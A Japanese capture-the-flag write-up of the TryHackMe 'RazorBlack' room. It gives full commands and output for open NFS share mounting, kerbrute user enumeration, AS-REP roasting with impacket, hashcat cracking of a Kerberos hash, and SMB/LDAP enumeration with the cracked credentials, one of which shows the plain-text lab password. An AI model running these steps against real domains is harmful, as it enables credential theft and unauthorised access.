はじめに
本記事は、TryHackMeのwriteupです。
RoomはRazorBlack、Difficulty(難易度)はMediumです。
このRoomでは、RazorBlackにおけるActive Direcctoryの脆弱性を用いた攻撃手法について学ぶことができます。
Recon
Port Scan
Scanned at 2026-04-12 18:55:34 JST for 184s
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 126 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-04-12 09:55:41Z)
111/tcp open rpcbind syn-ack ttl 126 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 126
464/tcp open kpasswd5? syn-ack ttl 126
593/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 126
2049/tcp open nlockmgr syn-ack ttl 126 1-4 (RPC #100021)
3268/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 126
3389/tcp open ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services
| ssl-cert: Subject: commonName=HAVEN-DC.raz0rblack.thm
| Issuer: commonName=HAVEN-DC.raz0rblack.thm
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-11T09:21:25
| Not valid after: 2026-10-11T09:21:25
| MD5: a230 04df e97b caee 9120 3179 4429 cdfb
| SHA-1: c666 a050 a3f1 3a5e 402f a6d8 94e1 839b 18e4 9a23
| SHA-256: 5085 038f cc9c 45cc 140a d1de a443 e10d 9a6f 92ea 0731 3424 9fab ff35 ad3b 17c5
| -----BEGIN CERTIFICATE-----
| MIIC8jCCAdqgAwIBAgIQPmueA59oTqlO/Cyo1lsWbDANBgkqhkiG9w0BAQsFADAi
| MSAwHgYDVQQDExdIQVZFTi1EQy5yYXowcmJsYWNrLnRobTAeFw0yNjA0MTEwOTIx
| MjVaFw0yNjEwMTEwOTIxMjVaMCIxIDAeBgNVBAMTF0hBVkVOLURDLnJhejByYmxh
| Y2sudGhtMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxFWiSgsZ03ng
| JHGTYsqpupeZr4i/Rs6jnbDIng7Nk+nDKSyEKB6bLLasSUkHA79OL502oKGZ1XtX
| 9cZDGwbEhTWWqFHQ4yzsKELDruT4luOnTTxmDp8avW/6+6kTW6dL6jrpRFRJukXC
| vexfUvg/m2gXCmPFli4hIS5yAoC5NcxyRVSfv/WCtZykYgz4VbZLOAwlxY6Ps5BF
| mOQPhMj7AkCGRO32CQCpxt3IoKqffitGhTRRB2pwkZIl8H5+R7gXYan5AEltAXel
| FuAKqH0lCrq+5uFcnd/XV2tlASMZC0iEGoiXRRC9JGXu9ayh+E2bvh7WojON9nWY
| g2/qvvumcQIDAQABoyQwIjATBgNVHSUEDDAKBggrBgEFBQcDATALBgNVHQ8EBAMC
| BDAwDQYJKoZIhvcNAQELBQADggEBAJqgCZW3dGdnhGrgCkcDhIPlnYT8YQNawwlo
| Jg66c08rJxGIrU2CNcCN9eRGVg8VpycVf471Oualiy73/dgwVhu2EjJWn0sRWNAu
| RkNuXpuIn+C3/xD9pL172uJuRlG7zq6q77a3jqV0eQfCY/ExHwqZkGGsFEjbCX2o
| xmpS1VQTRKpfxyP25OEWjttN2D9clUWtaD88zQRKCUvO5zYcDx/UpD6Se9WTJmla
| /C0H6TzN7pd7iR53DUNg1ZnqOcYFw3aYzcKLLCTVczfyPV7oleeM1GSUjMYX2a3O
| +jxgQf2h5WxR95UuZFpCrl6dFjLShs7pWpy5/EQnQ6jiML6xuhE=
|_-----END CERTIFICATE-----
| rdp-ntlm-info:
| Target_Name: RAZ0RBLACK
| NetBIOS_Domain_Name: RAZ0RBLACK
| NetBIOS_Computer_Name: HAVEN-DC
| DNS_Domain_Name: raz0rblack.thm
| DNS_Computer_Name: HAVEN-DC.raz0rblack.thm
| Product_Version: 10.0.17763
|_ System_Time: 2026-04-12T09:56:38+00:00
|_ssl-date: 2026-04-12T09:56:47+00:00; 0s from scanner time.
5985/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 126 .NET Message Framing
47001/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49669/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49670/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49673/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49677/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49692/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49704/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49850/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
Service Info: Host: HAVEN-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-04-12T09:56:39
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 54723/tcp): CLEAN (Couldn't connect)
| Check 2 (port 17354/tcp): CLEAN (Couldn't connect)
| Check 3 (port 37117/udp): CLEAN (Timeout)
| Check 4 (port 13561/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:58
Completed NSE at 18:58, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:58
Completed NSE at 18:58, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:58
Completed NSE at 18:58, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.63 seconds
Raw packets sent: 32 (1.384KB) | Rcvd: 29 (1.272KB)
上記ポートスキャンの結果を基に調査を行います。
ここで、Domain Nameを確認することができました。
What is the Domain Name?
Answer:
raz0rblack.thm
enum4linux
Sambaを介して情報を抽出できるツールを使用します。
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Apr 12 20:14:35 2026
=========================================( Target Information )=========================================
Target ........... [target_ip]
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
============================( Enumerating Workgroup/Domain on [target_ip] )============================
[E] Can't find workgroup/domain
================================( Nbtstat Information for [target_ip] )================================
Looking up status of [target_ip]
No reply from [target_ip]
===================================( Session Check on [target_ip] )===================================
[+] Server [target_ip] allows sessions using username '', password ''
================================( Getting domain SID for [target_ip] )================================
Domain Name: RAZ0RBLACK
Domain Sid: S-1-5-21-3403444377-2687699443-13012745
[+] Host is part of a domain (not a workgroup)
===================================( OS information on [target_ip] )===================================
[E] Can't get OS info with smbclient
[+] Got OS info for [target_ip] from srvinfo:
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
=======================================( Users on [target_ip] )=======================================
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
=================================( Share Enumeration on [target_ip] )=================================
do_connect: Connection to [target_ip] failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on [target_ip]
============================( Password Policy Information for [target_ip] )============================
Password:
[E] Unexpected error from polenum:
[+] Attaching to [target_ip] using a NULL share
[+] Trying protocol 139/SMB...
[!] Protocol failed: Cannot request session (Called Name:10.49.134.14)
[+] Trying protocol 445/SMB...
[!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
[E] Failed to get password policy with rpcclient
=======================================( Groups on [target_ip] )=======================================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
==================( Users on [target_ip] via RID cycling (RIDS: 500-550,1000-1050) )==================
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.
===============================( Getting printer info for [target_ip] )===============================
do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED
enum4linux complete on Sun Apr 12 20:16:06 2026
Scanning
$ nxc smb [target_ip]
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating missing folder logs/sam
[*] Creating missing folder logs/lsa
[*] Creating missing folder logs/ntds
[*] Creating missing folder logs/dpapi
[*] Creating default workspace
[*] Initializing SMB protocol database
[*] Initializing LDAP protocol database
[*] Initializing MSSQL protocol database
[*] Initializing WMI protocol database
[*] Initializing SSH protocol database
[*] Initializing RDP protocol database
[*] Initializing FTP protocol database
[*] Initializing NFS protocol database
[*] Initializing VNC protocol database
[*] Initializing WINRM protocol database
[*] Copying default configuration file
SMB [target_ip] 445 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:True) (SMBv1:None) (Null Auth:True)
一旦、 Sambaがあることを確認した
$ nxc winrm [target_ip]
WINRM [target_ip] 5985 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm)
また、winrmが存在していることも確認した
しかし、smbにもwinrmに対して接続するためのクレデンシャル情報がないため、他のアプローチを考える必要があります。
ファイルシステムにリモート・マウントがされているかを見ます。
$ showmount -e [target_ip]
Export list for [target_ip]:
/users (everyone)
すると、/users (everyone)になっており、誰でもファイルをマウントできることがわかります。
そのため、実際にマウントを試みます。
$ mkdir /mnt/tryhackme
$ sudo mount -t nfs p[target_ip]:/users /mnt/tryhackme -o nolock
$ ls -la /mnt/tryhackme
ls: ディレクトリ '/mnt/tryhackme' を開くことが出来ません: 許可がありません
$ sudo ls -n /mnt/tryhackme
合計 13
-rwx------ 1 65534 65534 9861 2月 26 2021 employee_status.xlsx
-rwx------ 1 65534 65534 80 2月 26 2021 sbradley.txt
$ sudo cat ./tryhackme/sbradley.txt
��THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
よって、Stevenのフラグを取得することができました。
What is Steven's Flag?
Answer:
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
また、/users (everyone)の中には、employee_status.xlsxというexcelsファイルがあったため、cpコマンドで、コピーした後にファイルの権限を自分の権限に変更します。
# 自分のホームディレクトリなどにコピーする
$ cp /mnt/tryhackme/employee_status.xlsx ~/employee_status.xlsx
# コピーしたファイルの権限を自分に変更する
$ chmod 644 ~/employee_status.xlsx
xlsx2csvツールを用いて、xlsxをcsvに変換することで閲覧できます。
$ xlsx2csv employee_status.xlsx
HAVEN SECRET HACKER's CLUB,,,,,,,,,,,
,,,,,,,,,,,
,,,,,,,,,,,
,,,,,,,,,,,
Name's,,,Role,,,,,,,,
daven port,,,CTF PLAYER,,,,,,,,
imogen royce,,,CTF PLAYER,,,,,,,,
tamara vidal,,,CTF PLAYER,,,,,,,,
arthur edwards,,,CTF PLAYER,,,,,,,,
carl ingram,,,CTF PLAYER (INACTIVE),,,,,,,,
nolan cassidy,,,CTF PLAYER,,,,,,,,
reza zaydan,,,CTF PLAYER,,,,,,,,
ljudmila vetrova,,,"CTF PLAYER, DEVELOPER,ACTIVE DIRECTORY ADMIN",,,,,,,,
rico delgado,,,WEB SPECIALIST,,,,,,,,
tyson williams,,,REVERSE ENGINEERING,,,,,,,,
steven bradley,,,STEGO SPECIALIST,,,,,,,,
chamber lin,,,CTF PLAYER(INACTIVE),,,,,,,,
このような結果から、コンピュータで使用されているであろうユーザー名の一覧が取得できました。
Exploitation
ここ、一つ思い出してほしいことがあります。
ポートスキャンの結果から、Kerberosのポート88番が空いていることが確認できます。
88/tcp open kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-04-12 09:55:41Z)
よって、Windows Active Directory環境におけるKerberos事前認証の脆弱性を悪用できるかもしれません。
そこで、以下のツールを用いて、実際にkerberos認証の事前認証ブルートフォース攻撃およびユーザー列挙を実行してみましょう。
先ほど取集したユーザ名一覧をもとに、頭文字の名前+苗字もワードリストを含めて、new_users.txtを作成します。
$ cat << EOF > new_users.txt
dport
dporten
davenport
iroyce
royce
imogen.royce
tvidal
vidal
tamara.vidal
aedwards
edwards
arthur.edwards
cingram
ingram
carl.ingram
ncassidy
cassidy
nolan.cassidy
rzaydan
zaydan
reza.zaydan
lvetrova
vetrova
ljudmila.vetrova
rdelgado
delgado
rico.delgado
twilliams
williams
tyson.williams
sbradley
bradley
steven.bradley
clin
lin
chamber.lin
EOF
インストール後、以下のように実行します。
$ ./kerbrute userenum --dc [target_ip] -d raz0rblack.thm ./tryhackme/new_users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (9cfb81e) - 04/14/26 - Ronnie Flathers @ropnop
2026/04/14 00:34:09 > Using KDC(s):
2026/04/14 00:34:09 > 10.49.148.202:88
2026/04/14 00:34:10 > [+] VALID USERNAME: lvetrova@raz0rblack.thm
2026/04/14 00:34:10 > [+] twilliams has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$twilliams@RAZ0RBLACK.THM:daf1fe237a61c335725510f6c579e3a0$4a53fbd9c59c289ddc068eecdedb483fe8b6bf0922a5d74462f52a3c3142ecd2efc0aec1968ac9a62dc0a82aa53b612b780700ec8080465d169281d637e2002087502116fbcd0f8e907fff1049e4b88358646d299c6d0fb09919a02636bd0968fad2d2d039f940d7e48e75df18455eb90a62b7085a23b03b842cd24edec0a853e8732dfc619f8aa4cb1a7a60457582b9c97b92931ed34392da8cd0341fbfe2161cc23a27c4587979c71bab4a7e25591edd4f4f8d9a533e50a3f125f2ce453285242651df19b2d6abccce982aee3c0f3a14a3b08383dc42eb195cd9a57cb7bdd3675113fa1dec13280aa0bdabfd3bb9d9b96c54c7fc8c8122f073ed5500e10dbf306a2f20
2026/04/14 00:34:10 > [+] VALID USERNAME: twilliams@raz0rblack.thm
2026/04/14 00:34:10 > [+] VALID USERNAME: sbradley@raz0rblack.thm
2026/04/14 00:34:10 > Done! Tested 36 usernames (3 valid) in 0.965 seconds
よって、twilliamsのAS-REP Hashを引き抜くことができました。このハッシュを解読してみます。
$ hashcat -m 18200 twilliams.hash /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-AMD Ryzen 5 PRO 8640HS w/ Radeon 760M Graphics, 4779/9558 MB (2048 MB allocatable), 12MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 515 MB (7854 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$18$twilliams@RAZ0RBLACK.THM:e09ded0ea11b...04fb1d
Time.Started.....: Tue Apr 14 00:06:57 2026 (2 secs)
Time.Estimated...: Tue Apr 14 00:06:59 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 5866.9 kH/s (1.39ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !carolyn -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp: 88c Util: 71%
Started: Tue Apr 14 00:06:41 2026
Stopped: Tue Apr 14 00:07:00 2026
しかし、このハッシュはキャッシュが当たってしまい、嘘のハッシュだとわかります。
こういう場合、ハッシュを引き抜く際に、ハッシュの出力フォーマットが違うのかもしれません。
別のアプローチとして、impacket-GetNPUsersを用いて、直接、事前認証を悪用してみましょう。
$ impacket-GetNPUsers raz0rblack.thm/ -no-pass -usersfile /home/rikuxx/tryhackme/new_users.txt -dc-ip [target_ip]
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User lvetrova doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$twilliams@RAZ0RBLACK.THM:c9ec2988dc30ca8a4c2fe7e70bfb4fd1$d21845ebf7e1d9a554fdfd8e789c87da23fbd0d94202e2e928683499fc7d2f0e129318be5f4856185d155b5135ba8b2eb26282124ec93d029c229df497f658acca3fd01b6cb7cd9aeec05678f7e892338dfe3b2d86c6696c674784d465d94069ef25debd7384a0c65017315c70e6d818574f755d70ff524090ab7ea71289a156b650579e8c183351ec78ef7048dcc0f70a3116e462fa48d9071c5a790a40e1ee12a6863333ffc03bfbbbb0f47d2df3f556e79de2fb380b5d8e48f412d226734a6ce42b7172a655d82a070de7dfa529401423a84111e0b7b19ba5d0a0e95ad0bf896ddf478c34c0c701098d733304f967
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User sbradley doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
すると、先ほどと異なったAS-REP Hashを取得できました。これを実際に解読してみます。
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-AMD Ryzen 5 PRO 8640HS w/ Radeon 760M Graphics, 4779/9558 MB (2048 MB allocatable), 12MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 515 MB (6897 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$krb5asrep$23$twilliams@RAZ0RBLACK.THM:c9ec2988dc30ca8a4c2fe7e70bfb4fd1$d21845ebf7e1d9a554fdfd8e789c87da23fbd0d94202e2e928683499fc7d2f0e129318be5f4856185d155b5135ba8b2eb26282124ec93d029c229df497f658acca3fd01b6cb7cd9aeec05678f7e892338dfe3b2d86c6696c674784d465d94069ef25debd7384a0c65017315c70e6d818574f755d70ff524090ab7ea71289a156b650579e8c183351ec78ef7048dcc0f70a3116e462fa48d9071c5a790a40e1ee12a6863333ffc03bfbbbb0f47d2df3f556e79de2fb380b5d8e48f412d226734a6ce42b7172a655d82a070de7dfa529401423a84111e0b7b19ba5d0a0e95ad0bf896ddf478c34c0c701098d733304f967:[cracked_password]
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$twilliams@RAZ0RBLACK.THM:c9ec2988dc30...04f967
Time.Started.....: Tue Apr 14 00:49:41 2026 (1 sec)
Time.Estimated...: Tue Apr 14 00:49:42 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 5933.9 kH/s (1.36ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4227072/14344385 (29.47%)
Rejected.........: 0/4227072 (0.00%)
Restore.Point....: 4214784/14344385 (29.38%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: robmar7 -> rmhaey
Hardware.Mon.#01.: Temp: 60c Util: 33%
Started: Tue Apr 14 00:49:40 2026
Stopped: Tue Apr 14 00:49:43 2026
なんと、パスワードをクラックすることができました。
このパスワードを手元に控えておきましょう。
特定した情報をもとに有益な情報を抜けないかを検証します。
Netexecでもいいですが、自分はSMBMapで共有フォルダがないかを検証しました。
$ smbmap -H [target_ip] -u "twilliams" -p "[cracked_password]"
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: [target_ip] Name: raz0rblack.thm Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
trash NO ACCESS Files Pending for deletion
[*] Closed 1 connections
共有フォルダの内容を知ることができました。ここで、同時にこの資格情報は正しい情報だということも確認できます。しかし、どれもアクセス権限がなさそうです。
また、LDAPについても調べました。
$ nxc ldap [target_ip] -u 'twilliams' -p '[cracked_password]' --users
LDAP [target_ip] 389 HAVEN-DC [*] Windows 10 / Server 2019 Build 17763 (name:HAVEN-DC) (domain:raz0rblack.thm) (signing:None) (channel binding:No TLS cert)
LDAP [target_ip] 389 HAVEN-DC [+] raz0rblack.thm\twilliams:roastpotatoes
LDAP [target_ip] 389 HAVEN-DC [*] Enumerated 7 domain users: raz0rblack.thm
LDAP [target_ip] 389 HAVEN-DC -Username- -Last PW Set- -BadPW- -Description-
LDAP [target_ip] 389 HAVEN-DC Administrator 2021-02-23 23:20:14 0 Built-in account for administering the computer/domain
LDAP [target_ip] 389 HAVEN-DC Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP [target_ip] 389 HAVEN-DC krbtgt 2021-02-24 00:02:19 0 Key Distribution Center Service Account
LDAP [target_ip] 389 HAVEN-DC xyan1d3 2021-02-24 00:17:17 0
LDAP [target_ip] 389 HAVEN-DC lvetrova 2021-02-24 00:19:35 0
LDAP [target_ip] 389 HAVEN-DC sbradley <never> 0
LDAP [target_ip] 389 HAVEN-DC twilliams 2021-02-24 00:20:52 0
このことから、上記のユーザーが実際にUsernameとして登録されていることが確認できます。
しかし、これだとしても、どこにもアクセスしようがありません。
